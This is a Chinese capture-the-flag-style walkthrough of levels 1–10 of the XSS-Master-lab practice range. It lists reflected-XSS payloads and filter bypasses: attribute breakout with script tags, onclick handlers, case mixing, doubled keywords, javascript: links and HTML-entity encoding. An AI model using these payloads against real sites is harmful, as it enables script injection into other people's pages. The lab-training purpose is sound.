Xss-Master-lab靶场通关（1-10）

1，环境准备

2，登录xss-master-lab靶场

第一关，分析为xss反射型get请求；

可以在url中添加xss语句

第二关，发现value标签中有写的数据

构造闭合标签,把input标签闭合掉，然后写个script标签

'"><script>alert(123)</script>

第三关，发现有转义<>"符号的能力

所以使用单引号xss语句

第四关，通过源代码发现<>括号会转义，所以使用没有<>的语句

" οnclick="alert('xss')

第五关，发现对on事件做了过滤，将o使用了大写

可以使用闭合标签，在使用超链接

"><a href="javascript:alert('xss');">xss</a>

第六关，发现<>会进行转义，这里主要考验我们的大小写绕过

" ONcliCk="alert('xss')

第七关，第七关发现有on绕过，还有过滤on

可以使用" OONNcliCk="alert(123)

第八关，发现大小写绕过，标签闭合，xss字段做了处理，这时候可以使用编码绕过

将javascript:alert('xss')转换为ascii编码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;

第九关，发现超链接进行了校验，可以利用ascii编码进行编码

javascript:alert("xss")// 进行编码，编码好以后，添加一个网页链接

第十关，所以针对name属性为t_sort的input标签进行注入，可以闭合属性，构造新的属性，同时把type="hidden"属性替换掉，要不然看不到页面效果，payload如下

  t_sort='" type='text' οnclick='alert(123)'